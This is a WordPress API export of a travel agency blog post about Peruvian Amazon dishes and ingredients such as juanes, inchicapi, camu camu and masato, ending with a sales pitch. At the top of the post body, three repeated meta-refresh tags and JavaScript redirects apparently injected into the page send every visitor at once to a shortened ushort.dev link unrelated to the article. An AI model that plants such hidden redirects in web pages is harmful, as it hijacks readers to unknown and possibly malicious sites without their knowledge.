{"id":9662,"date":"2025-07-11T12:38:56","date_gmt":"2025-07-11T17:38:56","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=9662"},"modified":"2025-07-11T12:38:58","modified_gmt":"2025-07-11T17:38:58","slug":"the-best-of-peruvian-amazon-cuisine","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-of-peruvian-amazon-cuisine\/","title":{"rendered":"The Best of Peruvian Amazon Cuisine"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Locals and foreigners keep loving and enjoying <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-real-peruvian-gastronomy\/\" title=\"\">Peruvian Cuisine<\/a><\/strong>. Consequently, many consider it the best cuisine in South America and one of the best in the world. <\/p>\n\n\n\n<p>So, if you consider yourself a foodie, just like the one who wrote this article, you may have already tried some of our dishes.<\/p>\n\n\n\n<p>Perhaps Lomo Saltado, Pollo a la Brasa, Cuy, or our flagship dish, <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-ceviche-perus-national-dish\/\" title=\"\">ceviche<\/a><\/strong>. However, how much do you know about the Peruvian Rainforest food?<\/p>\n\n\n\n<p>Therefore, to commemorate Peruvian Cuisine Day, celebrated every year on September 8th, let\u2019s explore some must-try dishes from the Peruvian Jungle that we assure you&#8217;ll love.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Peruvian Amazon Ingredients<\/strong><\/h2>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"563\" height=\"637\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/ad00b261ba15a418ae8d522f360cac5b.jpg?resize=563%2C637&#038;ssl=1\" alt=\"paiche fish\" class=\"wp-image-9670 size-full\" style=\"object-position:59% 14%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/ad00b261ba15a418ae8d522f360cac5b.jpg?w=563&amp;ssl=1 563w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/ad00b261ba15a418ae8d522f360cac5b.jpg?resize=265%2C300&amp;ssl=1 265w\" sizes=\"auto, (max-width: 563px) 100vw, 563px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Paiche,<\/strong> also known as &#8220;arapaima&#8221;, is the largest freshwater fish in the Amazon. Its flavor is mild, without a strong taste, and it has an elegant texture. You can enjoy it grilled, fried, stir-fried, or barbecued, making it a versatile option for various cooking methods.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"564\" height=\"658\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/07cfaa11cfb8220ac987121e64e1286f.jpg?resize=564%2C658&#038;ssl=1\" alt=\"camu camu\" class=\"wp-image-9671 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/07cfaa11cfb8220ac987121e64e1286f.jpg?w=564&amp;ssl=1 564w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/07cfaa11cfb8220ac987121e64e1286f.jpg?resize=257%2C300&amp;ssl=1 257w\" sizes=\"auto, (max-width: 564px) 100vw, 564px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/camu-camu-perus-vitamin-c-packed-superfruit\/\" title=\"\">Camu Camu<\/a> <\/strong>is a citrus fruit; locals use it in juices, sauces, and salads. It is high in vitamin C and has a refreshing and delicious taste. We highly recommend trying the juice made from it.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"429\" height=\"600\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/cocona.jpg?resize=429%2C600&#038;ssl=1\" alt=\"cocona fruit\" class=\"wp-image-9673 size-full\" style=\"object-position:78% 5%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/cocona.jpg?w=429&amp;ssl=1 429w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/cocona.jpg?resize=215%2C300&amp;ssl=1 215w\" sizes=\"auto, (max-width: 429px) 100vw, 429px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Cocona <\/strong>is another tropical citrus fruit. People use cocona in salads and <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-saucy-superstars-a-tasty-tale-of-native-sauces\/\" title=\"\">sauces<\/a><\/strong>. A salad or a hot sauce including this fruit has a bittersweet, intense flavor, while the juice is refreshing and sweet. Cocona and its derivatives have several medicinal properties.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"540\" height=\"403\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/bijao.jpg?resize=540%2C403&#038;ssl=1\" alt=\"bijao tree leaves\" class=\"wp-image-9674 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/bijao.jpg?w=540&amp;ssl=1 540w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/bijao.jpg?resize=300%2C224&amp;ssl=1 300w\" sizes=\"auto, (max-width: 540px) 100vw, 540px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Bijao Leaves<\/strong><em> <\/em>are a traditional holder when eating Amazonian food in the Peruvian jungle. Locals don&#8217;t only use it for presentation purposes, but it also adds a distinctive flavor to meals.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Popular Dishes<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Juanes<\/strong><\/h3>\n\n\n\n<p>To begin with, we have Juanes, the most popular Amazonian Peruvian dish.\u00a0Simple in concept, Juanes consists of rice and meat bundles that wrap up in banana or bijao leaves.<\/p>\n\n\n\n<p>It&#8217;s popular in the Amazon region, where it holds a special place in people&#8217;s hearts. To make juanes, cooks combine rice with seasoned meat &#8211; often chicken, garlic, lightly spiced diced onions, Cocona fruit, and local spices for a flavor that&#8217;s really something. <\/p>\n\n\n\n<p>Some versions, such as \u201cJuane de gallina\u201d or Hen Juanes, consist of the mix marinated in tomato and onion sauce and then wrapped in banana leaves.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"349\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/Juane.jpeg?resize=697%2C349&#038;ssl=1\" alt=\"Juanes dish\" class=\"wp-image-13894\" style=\"width:606px;height:auto\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/Juane.jpeg?w=950&amp;ssl=1 950w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/Juane.jpeg?resize=300%2C150&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/Juane.jpeg?resize=768%2C384&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Then, once someone wraps the mix, they steam or boil it, letting all the flavors meld together. You can combine it with masato or cecina, which we\u2019ll talk about later in this blog. People love it with fried banana chips, &#8220;patacones&#8221;<\/p>\n\n\n\n<p>In the Festival of San Juan, the most popular celebration in the Peruvian jungle, a staple at festivals and special events, people eat it a lot for their unique flavor mix and the great smell of the banana leaves.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Inchicapi<\/strong><\/h3>\n\n\n\n<p>The name of this Peruvian food comes from the Quechua words \u201cInchic,\u201d which means peanut, and \u201ccapi,\u201d which is stew. <\/p>\n\n\n\n<p>The main ingredients of &#8220;inchicapi&#8221;, a creamy Peruvian soup, are chicken or hen meat, cornmeal, peanuts, oil, tapioca, and garlic.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"325\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/972ebe00f44b22c0e412035c5e9590ca_Inchicapi-gallina_PlatoFinal.jpg?resize=697%2C325&#038;ssl=1\" alt=\"inchicapi soup\" class=\"wp-image-13895\" style=\"width:572px;height:auto\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/972ebe00f44b22c0e412035c5e9590ca_Inchicapi-gallina_PlatoFinal.jpg?w=1500&amp;ssl=1 1500w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/972ebe00f44b22c0e412035c5e9590ca_Inchicapi-gallina_PlatoFinal.jpg?resize=300%2C140&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/972ebe00f44b22c0e412035c5e9590ca_Inchicapi-gallina_PlatoFinal.jpg?resize=1024%2C478&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/972ebe00f44b22c0e412035c5e9590ca_Inchicapi-gallina_PlatoFinal.jpg?resize=768%2C358&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/972ebe00f44b22c0e412035c5e9590ca_Inchicapi-gallina_PlatoFinal.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>It comes from the jungle areas of San Martin, Loreto, and Ucayali in Peru. This <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-soups-in-peruvian-cuisine-a-warm-and-tasty-journey\/\" title=\"\">classic soup<\/a><\/strong> is typically topped with chopped coriander just before serving. A recurring accompaniment for Inchicapi is adding boiled plantain.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Tacacho con Cecina<\/strong><\/h3>\n\n\n\n<p>This is a combination of \u201cTacacho,\u201d a mix of mashed potatoes, lard, and pork rind. \u201cCecina\u201d is dried pork meat from Peru&#8217;s forests, which is smoked and dried.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-18.jpg?resize=697%2C697&#038;ssl=1\" alt=\"tacacho and cecina\" class=\"wp-image-9667\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-18.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-18.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-18.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-18.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-18.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>It\u2019s interesting to note that \u201cTacacho\u201d comes from a Quechua word that means&nbsp; &#8220;what it&#8217;s beaten&#8221; or &#8220;what it&#8217;s pounded.&#8221;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Pollo Canga<\/strong><\/h3>\n\n\n\n<p>Many people in the jungle area say that it\u2019s older than the famous <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/el-pollo-a-la-brasa-the-star-of-peruvian-cuisine\/\" title=\"\">\u201cpollo a la brasa<\/a><\/strong>.\u201d Pollo Canga is boneless grilled chicken, but what makes it different is the seasoning, which is based on fruits and spices that you can only find in this region.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"395\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/43534534.jpg?resize=697%2C395&#038;ssl=1\" alt=\"pollo canga dish\" class=\"wp-image-9669\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/43534534.jpg?resize=1024%2C581&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/43534534.jpg?resize=300%2C170&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/43534534.jpg?resize=768%2C435&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/43534534.jpg?resize=1536%2C871&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/43534534.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/43534534.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The result is a tender, juicy, and delicious chicken with a unique flavor, accompanied by Cocona-made salad or hot sauce.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ensalada de Chonta<\/strong><\/h3>\n\n\n\n<p>&#8220;Chonta&#8221;, also known as palm heart, is a delicious, tender shoot from palm species like pijuayo and acai. Indigenous communities in Latin America have enjoyed it for generations. <\/p>\n\n\n\n<p>A refreshing chonta salad includes sliced or delicately shredded palm hearts, tomatoes, onions, cilantro, and a squeeze of lemon.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/900908989e95cd7a7a69e866edc5a844-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"chonta salad pic.\" class=\"wp-image-9666\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/900908989e95cd7a7a69e866edc5a844-1-scaled.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/900908989e95cd7a7a69e866edc5a844-1-scaled.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/900908989e95cd7a7a69e866edc5a844-1-scaled.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/900908989e95cd7a7a69e866edc5a844-1-scaled.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/900908989e95cd7a7a69e866edc5a844-1-scaled.jpg?resize=2048%2C1365&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/900908989e95cd7a7a69e866edc5a844-1-scaled.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/900908989e95cd7a7a69e866edc5a844-1-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>This delightful dish is not just popular in Amazonian cuisine; it has also made its way around the world thanks to its fresh flavor and crunchy texture. <\/p>\n\n\n\n<p>Plus, chonta contains fiber, vitamins, potassium, and antioxidants, making it a nutritious choice. Its rich cultural heritage adds to its charm, making it a wonderful addition to any meal!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Masato<\/strong><\/h3>\n\n\n\n<p>Although this is not a meal, we decided to include it as \u201cMasato\u201d is the most traditional Amazonian drink, thanks to its bizarre preparation. <\/p>\n\n\n\n<p>Its main ingredient is boiled yuca, also known as manioc or cassava, a utensil called \u201cbatan\u201d, which is a grinder used in<a href=\"https:\/\/viajesmachupicchu.travel\/en\/tips-for-travelers\/all-about-peru-updated-information\" title=\"\"> <strong>Peru<\/strong><\/a>.\u00a0 The other ingredient is human spit. Yes, you read it well, human spit.<\/p>\n\n\n\n<p>Consequently, people who take part in its preparation chew the mashed cassava for 30 minutes. Then, they spit the mouthful into a bucket.<\/p>\n\n\n\n<p> Traditionally, people chew yuca to break down its starch into sugar using enzymes in their saliva.\u00a0 This step helps with fermentation, which can take anywhere from four to ten days, depending on how strong you want the drink to be.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"378\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-17.jpeg?resize=697%2C378&#038;ssl=1\" alt=\"masato drink\" class=\"wp-image-9664\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-17.jpeg?resize=1024%2C555&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-17.jpeg?resize=300%2C163&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-17.jpeg?resize=768%2C416&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/amazonas-17.jpeg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>After fermentation, people mix the chewed yuca with water and let it strain. This creates a white liquid that has a delightful, slightly sour milk-like taste. <\/p>\n\n\n\n<p>In some modern communities, folks often take a shortcut by adding sugar, sweet potato, or even sugarcane liquor (ca\u00f1azo) to boost the alcohol content and speed up fermentation.\u00a0<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>We hope you can enjoy traditional jungle cuisine on your trip to Peru! We assure you you\u2019ll love it just like the rest of our vast and delicious cuisine. <\/p>\n\n\n\n<p>Finally, when in Peru, trust us, travel with Viagens Machu Picchu. More than 100,000 satisfied clients can confirm that our service is the best. <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">Contact our experts<\/a><\/strong> to start planning your trip to Peruvian lands!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0Celebrate Peruvian Cuisine Day by exploring Amazonian dishes like juanes, inchicapi, and pollo canga. Discover unique ingredients such as paiche and camu camu. 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